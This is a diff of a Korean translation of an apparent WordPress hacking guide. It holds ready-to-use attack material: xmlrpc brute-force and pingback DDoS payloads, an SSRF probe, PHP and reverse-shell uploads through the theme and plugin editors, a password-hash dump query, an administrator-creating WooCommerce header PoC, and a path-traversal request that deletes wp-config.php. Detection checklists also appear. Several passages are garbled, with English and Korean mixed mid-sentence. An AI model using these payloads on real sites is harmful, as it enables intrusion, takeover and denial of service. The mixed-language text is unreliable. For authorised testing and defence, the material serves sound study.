+If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
 
 활성화 여부를 확인하려면 _**/xmlrpc.php**_에 접근해 다음 요청을 보내보세요:
 
@@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 
 **Credentials Bruteforce**
 
-**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`** 는 credentials을 brute-force하는 데 사용할 수 있는 몇 가지 메서드입니다. 만약 이들 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
+**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 credentials를 brute-force하는 데 사용할 수 있는 방법들 중 일부입니다. 만약 그 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
 ```html
 <methodCall>
 <methodName>wp.getUsersBlogs</methodName>
@@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 </params>
 </methodCall>
 ```
-자격 증명이 유효하지 않을 경우 200 코드 응답 내에 _"Incorrect username or password"_ 메시지가 표시되어야 합니다.
+credentials가 유효하지 않은 경우 200 응답 코드 내에 _"Incorrect username or password"_ 메시지가 표시되어야 합니다.
 
 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 
 ![](<../../images/image (721).png>)
 
-올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+올바른 credentials를 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
 ```html
 <?xml version='1.0' encoding='utf-8'?>
 <methodCall>
@@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 </params>
 </methodCall>
 ```
-또한 같은 요청에서 여러 credentials를 시도할 수 있기 때문에 **`system.multicall`**을 사용해 credentials를 더 빠르게 brute-force할 수 있습니다:
+또한 동일한 요청에서 여러 credentials를 시도할 수 있기 때문에 **`system.multicall`**을 사용해 credentials를 brute-force하는 **더 빠른 방법**이 있습니다:
 
 <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
 
-**Bypass 2FA**
+**2FA 우회**
 
-이 방법은 사람을 위한 것이 아니라 프로그램용으로 오래된 방식이어서 2FA를 지원하지 않습니다. 따라서 유효한 creds가 있지만 메인 진입이 2FA로 보호되어 있다면, **xmlrpc.php를 악용해 해당 creds로 로그인하여 2FA를 우회할 수 있을지도 모릅니다**. 콘솔을 통해 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하는 것처럼 여전히 RCE에 도달할 수 있습니다.
+이 방법은 사람을 위한 것이 아니라 프로그램용으로 만들어진 오래된 방식이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 creds가 있지만 메인 로그인에 2FA가 걸려 있다면, **xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔에서 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하듯 여전히 RCE에 도달할 수 있을지도 모릅니다.
 
-**DDoS or port scanning**
+**DDoS 또는 port scanning**
 
-If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
-This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
+목록에서 _**pingback.ping**_ 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.\
+이것은 **수천**의 Wordpress **사이트**에게 한 **대상**에 **접근**하도록 요청하여 해당 위치에서 **DDoS**를 발생시키거나, Wordpress로 내부 **네트워크**를 **scan**하게 만들 수 있습니다(임의의 포트를 지정할 수 있음).
 ```html
 <methodCall>
 <methodName>pingback.ping</methodName>
@@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
 ```
 ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
 
-값이 **0** (17)보다 큰 **faultCode**를 받으면 포트가 열려 있다는 의미입니다.
+**0** (17)보다 **큰** 값을 가진 **faultCode**를 받으면, 포트가 열려 있다는 뜻입니다.
 
-이 방법을 악용해 DDoS를 일으키는 방법은 이전 섹션의 **`system.multicall`** 사용 예를 참조하세요.
+이 방법을 악용해 DDoS를 발생시키는 방법을 배우려면 이전 섹션에서 **`system.multicall`**의 사용을 확인하세요.
 
 **DDoS**
 ```html
@@ -209,15 +209,15 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
 
 ### wp-cron.php DoS
 
-이 파일은 일반적으로 Wordpress 사이트의 루트에 존재합니다: **`/wp-cron.php`**\
-이 파일에 **접근되면** "**무거운**" MySQL **쿼리**가 수행되므로, 공격자가 이를 이용해 **DoS**를 **유발**할 수 있습니다.\
-또한 기본적으로 `wp-cron.php`는 모든 페이지 로드(클라이언트가 Wordpress 페이지를 요청할 때마다)마다 호출되므로, 트래픽이 많은 사이트에서는 문제(DoS)를 일으킬 수 있습니다.
+This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
+When this file is **접근되면** a "**무거운**" MySQL **query** is performed, so I could be used by **공격자** to **cause** a **DoS**.\
+Also, by default, the `wp-cron.php` is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
 
-Wp-Cron을 비활성화하고 호스트 내에서 실제 cronjob을 만들어 필요한 작업을 정기적으로 수행하도록 하는 것이 권장됩니다(문제 없이).
+It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
 
 ### /wp-json/oembed/1.0/proxy - SSRF
 
-다음 URL에 접근을 시도해보세요: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ 그리고 Worpress 사이트가 여러분에게 요청을 보낼 수 있습니다.
+Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
 
 This is the response when it doesn't work:
 
@@ -230,32 +230,32 @@ This is the response when it doesn't work:
 https://github.com/t0gu/quickpress/blob/master/core/requests.go
 {{#endref}}
 
-이 도구는 **methodName: pingback.ping**과 경로 **/wp-json/oembed/1.0/proxy**가 있는지 확인하고, 존재하면 이를 악용하려 시도합니다.
+This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
 
-## 자동 도구
+## 자동화 도구
 ```bash
 cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
 #You can try to bruteforce the admin user using wpscan with "-U admin"
 ```
-## bit를 덮어써서 접근 얻기
+## 비트 덮어쓰기로 접근 획득
 
-실제 공격이라기보다는 호기심에 가까운 사례다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 임의의 wordpress 파일의 1 bit를 뒤집을 수 있었다. 그래서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었다.
+실제 공격이라기보다는 호기심에 가까운 사례입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 모든 wordpress 파일에서 1비트를 뒤집을 수 있었습니다. 따라서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`의 비트를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
 ```php
 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
 return new WP_Error(
 ```
 ## **Panel RCE**
 
-**사용 중인 테마의 php 수정 (admin credentials needed)**
+**사용된 테마의 php 수정 (관리자 자격 증명 필요)**
 
 Appearance → Theme Editor → 404 Template (오른쪽에 있음)
 
-php shell의 내용으로 변경:
+php shell용으로 내용을 변경하세요:
 
 ![](<../../images/image (384).png>)
 
-업데이트된 페이지에 어떻게 접근하는지 인터넷에서 찾아보세요. 이 경우에는 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+업데이트된 페이지에 어떻게 접근하는지 인터넷에서 찾아보세요. 이 경우 다음 주소로 접근하면 됩니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
 ### MSF
 
@@ -263,22 +263,22 @@ php shell의 내용으로 변경:
 ```bash
 use exploit/unix/webapp/wp_admin_shell_upload
 ```
-to get a session.
+세션을 얻기 위해.
 
 ## Plugin RCE
 
-### PHP 플러그인
+### PHP plugin
 
-플러그인으로 .php 파일을 업로드할 수 있을지도 모릅니다.\
+.php 파일을 plugin으로 업로드할 수 있을 수도 있습니다.\
 예를 들어 다음과 같이 php backdoor를 만드세요:
 
 ![](<../../images/image (183).png>)
 
-그런 다음 새 플러그인을 추가합니다:
+그런 다음 새 plugin을 추가하세요:
 
 ![](<../../images/image (722).png>)
 
-플러그인을 업로드하고 'Install Now'을 누르세요:
+plugin을 업로드하고 Install Now를 누르세요:
 
 ![](<../../images/image (249).png>)
 
@@ -286,44 +286,44 @@ Procced를 클릭하세요:
 
 ![](<../../images/image (70).png>)
 
-아마도 눈에 띄는 변화는 없을 수 있지만, Media로 가면 업로드된 shell을 볼 수 있습니다:
+아마도 아무 일도 일어나지 않는 것처럼 보이지만, Media로 이동하면 업로드된 shell을 볼 수 있습니다:
 
 ![](<../../images/image (462).png>)
 
-접근하면 reverse shell을 실행할 URL을 볼 수 있습니다:
+해당 항목에 접근하면 reverse shell을 실행할 수 있는 URL을 볼 수 있습니다:
 
 ![](<../../images/image (1006).png>)
 
 ### Uploading and activating malicious plugin
 
-이 방법은 알려진 취약점이 있는 악성 플러그인을 설치하여 web shell을 얻을 수 있는 방법입니다. 이 과정은 WordPress 대시보드를 통해 다음과 같이 수행됩니다:
+이 방법은 취약한 것으로 알려진 악성 plugin을 설치하여 web shell을 얻을 수 있도록 하는 절차입니다. 이 과정은 WordPress dashboard를 통해 다음과 같이 수행됩니다:
 
-1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 출처(예: [**here**](https://www.exploit-db.com/exploits/36374))에서 입수합니다.
+1. **Plugin Acquisition**: 해당 plugin은 Exploit DB와 같은 출처에서 획득합니다(예: [**here**](https://www.exploit-db.com/exploits/36374)).
 2. **Plugin Installation**:
-- WordPress 대시보드로 이동한 다음 `Dashboard > Plugins > Upload Plugin`으로 갑니다.
-- 다운로드한 플러그인의 zip 파일을 업로드합니다.
-3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
+- WordPress dashboard로 이동한 뒤 `Dashboard > Plugins > Upload Plugin`로 갑니다.
+- 다운로드한 plugin의 zip 파일을 업로드합니다.
+3. **Plugin Activation**: plugin이 성공적으로 설치되면 dashboard에서 활성화해야 합니다.
 4. **Exploitation**:
-- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약점을 이용해 익스플로잇할 수 있습니다.
-- Metasploit framework는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 수립하여 사이트에 대한 무단 접근을 얻을 수 있습니다.
-- 이는 WordPress 사이트를 악용하는 여러 방법 중 하나일 뿐입니다.
+- "reflex-gallery" plugin이 설치·활성화된 상태라면 취약점이 알려져 있어 악용될 수 있습니다.
+- Metasploit framework는 이 취약점에 대한 exploit을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 확보하여 사이트에 무단 접근할 수 있습니다.
+- 이는 WordPress 사이트를 악용하는 여러 방법 중 하나에 불과하다는 점에 유의하세요.
 
-해당 내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드 단계의 시각적 설명이 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 허가 없이 불법적이며 비윤리적임을 명심해야 합니다. 이 정보는 책임있게, 명시적인 허가가 있는 pentesting 등 합법적인 맥락에서만 사용해야 합니다.
+이 내용에는 WordPress dashboard에서 plugin을 설치하고 활성화하는 절차를 보여주는 시각 자료가 포함되어 있습니다. 다만 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법적이고 비윤리적임을 반드시 주의하세요. 이 정보는 책임감 있게, 예를 들어 명시적 허가를 받은 penetration testing과 같은 합법적 맥락에서만 사용해야 합니다.
 
 **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 
-## XSS에서 RCE로
+## From XSS to RCE
 
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 WordPress에서 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 기타 치명적 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)를 확인하세요. 이 도구는 **Wordpress Versions 6.X.X, 5.X.X and 4.X.X를 지원하며 다음을 허용합니다:** 
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 WordPress에서 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 다른 심각한 취약점으로 상승시킬 수 있도록 설계된 스크립트입니다. 자세한 내용은 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)를 확인하세요. 다음을 지원합니다:
 - _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
-- _**(RCE) Custom Plugin (backdoor) Upload:**_ 맞춤 플러그인(backdoor)을 WordPress에 업로드합니다.
-- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
-- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
-- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마를 위한 맞춤 익스플로잇을 제공합니다.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ 커스텀 plugin(backdoor)을 WordPress에 업로드합니다.
+- _**(RCE) Built-In Plugin Edit:**_ WordPress의 Built-In Plugins을 편집합니다.
+- _**(RCE) Built-In Theme Edit:**_ WordPress의 Built-In Themes를 편집합니다.
+- _**(Custom) Custom Exploits:**_ 서드파티 WordPress Plugins/Themes에 대한 Custom Exploits를 제공합니다.
 
 ## Post Exploitation
 
-사용자명과 비밀번호 추출:
+사용자 이름과 비밀번호 추출:
 ```bash
 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
 ```
@@ -335,11 +335,11 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 
 ### 공격 표면
 
-Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심입니다. 다음 목록에서 플러그인이 기능을 노출할 수 있는 방법과 취약한 플러그인의 몇 가지 예를 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에서 확인할 수 있습니다.
+Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심적입니다. 플러그인이 기능을 어떻게 노출할 수 있는지는 다음 항목에서 확인할 수 있으며, 취약한 플러그인의 예시는 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에서 볼 수 있습니다.
 
 - **`wp_ajax`**
 
-플러그인이 사용자에게 기능을 노출하는 방법 중 하나는 AJAX handlers를 통한 것입니다. 이러한 것들은 logic, authorization, 또는 authentication 버그를 포함할 수 있습니다. 또한 이러한 함수들이 인증과 권한을 모두 Wordpress nonce의 존재 여부에 기반하는 경우가 꽤 자주 있으며, 이는 **Wordpress 인스턴스에서 인증된 모든 사용자가 가질 수 있습니다**(역할과 무관하게).
+플러그인이 함수를 사용자에게 노출하는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러에는 로직, authorization, 또는 authentication 버그가 포함될 수 있습니다. 게다가 이러한 함수들이 인증과 권한 부여를 모두 wordpress nonce의 존재에 기반하는 경우가 꽤 자주 발생하는데, 이 nonce는 **Wordpress 인스턴스에 인증된 어떤 사용자라도 가질 수 있습니다**(역할과 무관하게).
 
 다음은 플러그인에서 함수를 노출하는 데 사용될 수 있는 함수들입니다:
 ```php
@@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
 **`nopriv`의 사용은 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 만듭니다.**
 
 > [!CAUTION]
-> 또한, 만약 함수가 단지 `wp_verify_nonce` 함수로 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
+> 더군다나, 만약 함수가 `wp_verify_nonce` 함수로 사용자 권한만 확인한다면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
 
 - **REST API**
 
-또한 `register_rest_route` 함수를 사용해 wordpress에서 함수를 REST API로 등록하여 노출시키는 것도 가능합니다:
+또한 wordpress에서 `register_rest_route` 함수를 사용해 REST API를 등록하여 함수를 노출시키는 것도 가능합니다:
 ```php
 register_rest_route(
 $this->namespace, '/get/', array(
@@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
 )
 );
 ```
-The `permission_callback`은 해당 사용자가 API 메서드를 호출할 권한이 있는지 검사하는 콜백 함수입니다.
+The `permission_callback`는 주어진 사용자가 해당 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다.
 
-**내장 `__return_true` 함수가 사용되면 사용자 권한 검사를 건너뜁니다.**
+**내장된 `__return_true` 함수를 사용하면 사용자 권한 확인을 건너뜁니다.**
 
-- **php 파일에 대한 직접 접근**
+- **직접적인 php 파일 접근**
 
-물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하기만 해도 트리거되는 취약한 기능을 노출하고 있다면, 모든 사용자가 이를 악용할 수 있습니다.
+물론, Wordpress는 php를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면 모든 사용자가 이를 악용할 수 있습니다.
 
 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
 
-일부 플러그인은 “trusted header” 단축을 내부 통합이나 리버스 프록시용으로 구현한 다음, REST 요청의 현재 사용자 컨텍스트를 설정하기 위해 해당 헤더를 사용합니다. 그 헤더가 업스트림 컴포넌트에 의해 요청과 암호학적으로 결속되어 있지 않으면, 공격자는 이를 스푸핑하여 관리자 권한으로 특권 REST 라우트에 접근할 수 있습니다.
+일부 플러그인은 내부 통합이나 리버스 프록시용으로 “trusted header” 단축을 구현하고, 그 헤더를 사용해 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 해당 헤더가 상위 구성요소에 의해 암호학적으로 요청에 바인딩되어 있지 않다면 공격자가 이를 스푸핑하여 administrator 권한으로 제한된 REST 경로에 접근할 수 있습니다.
 
-- 영향: core users REST route를 통해 새 관리자 계정을 생성하여 인증 없이 관리자 권한으로 권한 상승.
-- 예시 헤더: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1을 강제로 지정 — 일반적으로 첫 번째 관리자 계정).
-- 악용된 라우트: `POST /wp-json/wp/v2/users` (권한이 상승된 역할 배열과 함께).
+- Impact: core users REST 경로를 통해 새로운 administrator를 생성하여 인증 없이 admin 권한으로 권한 상승.
+- Example header: `X-Wcpay-Platform-Checkout-User: 1` (사용자 ID 1을 강제, 일반적으로 첫 번째 administrator 계정).
+- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
 
 PoC
 ```http
@@ -391,31 +391,31 @@ Content-Length: 114
 
 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
 ```
-왜 작동하는가
+Why it works
 
-- 플러그인이 클라이언트가 제어하는 헤더를 인증 상태로 매핑하고 권한 검사를 건너뛴다.
-- WordPress 코어는 이 라우트에 대해 `create_users` 권한을 기대한다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정해 이를 우회한다.
+- 플러그인이 클라이언트가 제어하는 헤더를 인증 상태에 대응시키고 권한 검사를 건너뜁니다.
+- WordPress 코어는 이 라우트에 대해 `create_users` 권한을 요구합니다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정해 이를 우회합니다.
 
-예상 성공 지표
+Expected success indicators
 
 - 생성된 사용자를 설명하는 JSON 본문과 함께 HTTP 201.
-- `wp-admin/users.php`에 표시되는 새로운 관리자 사용자.
+- `wp-admin/users.php`에서 보이는 새로운 관리자 계정.
 
-탐지 체크리스트
+Detection checklist
 
-- `getallheaders()`, `$_SERVER['HTTP_...']` 또는 사용자 정의 헤더를 읽어 사용자 컨텍스트를 설정하는 vendor SDKs를 grep한다(예: `wp_set_current_user()`, `wp_set_auth_cookie()`).
-- 견고한 `permission_callback` 검사를 갖추지 못하고 대신 요청 헤더에 의존하는 권한 있는 콜백에 대한 REST 등록을 검토한다.
-- REST 핸들러 내부에서 헤더 값으로만 제한되는 핵심 사용자 관리 함수(`wp_insert_user`, `wp_create_user`)의 사용을 찾아라.
+- `getallheaders()`, `$_SERVER['HTTP_...']`, 또는 사용자 컨텍스트를 설정하기 위해 커스텀 헤더를 읽는 vendor SDKs를 grep합니다 (예: `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- request headers에 의존하고 강력한 `permission_callback` 검사가 없는 권한이 있는 콜백에 대한 REST 등록을 검토합니다.
+- 헤더 값만으로 게이트된 REST 핸들러 내부에서 핵심 사용자 관리 함수들(`wp_insert_user`, `wp_create_user`)의 사용을 찾습니다.
 
-### wp_ajax_nopriv을 통한 인증되지 않은 임의의 파일 삭제 (Litho Theme <= 3.0)
+### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
 
-WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출한다. **_nopriv_** 변형이 사용될 때 **콜백이 인증되지 않은 방문자에게 도달 가능해지므로**, 모든 민감한 동작은 추가로 다음을 구현해야 한다:
+WordPress 테마와 플러그인은 자주 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출합니다. **_nopriv_** 변형이 사용될 때 **콜백은 인증되지 않은 방문자에 의해 접근 가능해지므로**, 민감한 동작은 추가로 다음을 구현해야 합니다:
 
-1. **권한 확인**(예: `current_user_can()` 또는 최소한 `is_user_logged_in()`), 그리고
-2. `check_ajax_referer()` / `wp_verify_nonce()`로 검증되는 **CSRF nonce**, 그리고
-3. **엄격한 입력 정제 / 검증**.
+1. **권한 검사** (예: `current_user_can()` 또는 적어도 `is_user_logged_in()`), 및
+2. `check_ajax_referer()` / `wp_verify_nonce()`로 검증된 **CSRF nonce**, 및
+3. 입력값에 대한 엄격한 정제/검증.
 
-Litho 멀티퍼포즈 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 세 가지 제어를 누락했고, 결국 다음 코드를 포함하여 배포되었다(단순화됨):
+Litho multipurpose theme (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 누락하여 다음과 같은 코드(단순화됨)를 배포했습니다:
 ```php
 function litho_remove_font_family_action_data() {
 if ( empty( $_POST['fontfamily'] ) ) {
@@ -434,15 +434,15 @@ die();
 add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
 add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
 ```
-이 스니펫으로 인해 발생하는 문제:
+이 스니펫으로 인한 문제:
 
-* **Unauthenticated access** – `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
+* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
 * **No nonce / capability check** – 모든 방문자가 해당 엔드포인트에 접근할 수 있습니다.
-* **No path sanitisation** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 이어붙여져 전형적인 `../../` traversal을 허용합니다.
+* **No path sanitisation** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일시스템 경로에 연결되어 클래식 `../../` 경로 이탈을 허용합니다.
 
-#### 악용
+#### Exploitation
 
-공격자는 단 한 번의 HTTP POST 요청으로 **uploads base directory 아래**(보통 `<wp-root>/wp-content/uploads/`)의 임의 파일이나 디렉터리를 삭제할 수 있습니다:
+공격자는 단일 HTTP POST 요청을 전송함으로써 **uploads 기본 디렉터리 아래** (보통 `<wp-root>/wp-content/uploads/`)의 어떤 파일이나 디렉터리든 삭제할 수 있습니다:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 -d 'action=litho_remove_font_family_action_data' \
@@ -450,21 +450,21 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 ```
 Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation.  Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
 
-Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
+다른 영향력 있는 대상에는 플러그인/테마의 `.php` 파일(보안 플러그인을 무력화하기 위해) 또는 `.htaccess` 규칙이 있다.
 
-#### 탐지 체크리스트
+#### 감지 체크리스트
 
-* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
-* 경로에 비검증 사용자 입력을 이어붙이는 경우(`$_POST`, `$_GET`, `$_REQUEST`를 확인).
-* `check_ajax_referer()` 및 `current_user_can()`/`is_user_logged_in()`의 부재.
+* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
+* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
+* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
 
 ---
 
-### 오래된 역할 복원 및 인증 누락을 통한 권한 상승 (ASE "View Admin as Role")
+### 오래된 역할 복원과 권한 검사 누락을 통한 권한 상승 (ASE "View Admin as Role")
 
-Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
+많은 플러그인이 원래 역할을 user meta에 저장해 나중에 복원할 수 있게 "view as role" 또는 임시 역할 전환 기능을 구현한다. 복원 경로가 capabilities 확인과 유효한 nonce 없이 요청 변수(예: `$_REQUEST['reset-for']`)와 플러그인이 관리하는 목록에만 의존한다면, 이는 수직 권한 상승(vertical privilege escalation)이 된다.
 
-A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
+실제 사례로 Admin and Site Enhancements (ASE) 플러그인 (≤ 7.6.2.1)에서 발견됐다. reset 분기(branch)는 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자가 존재하면 `reset-for=<username>`에 따라 역할을 복원했지만, 현재 역할을 제거하고 user meta `_asenha_view_admin_as_original_roles`에서 저장된 역할을 다시 추가하기 전에 `current_user_can()` 체크나 nonce 검증을 전혀 수행하지 않았다:
 ```php
 // Simplified vulnerable pattern
 if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
 }
 }
 ```
-왜 취약한가
+Why it’s exploitable
 
-- 서버 측 권한 검증 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰한다.
-- 사용자가 이전에 더 높은 권한을 `_asenha_view_admin_as_original_roles`에 저장해 두었고 이후 권한이 낮아진 경우, reset 경로에 접근해 이를 복원할 수 있다.
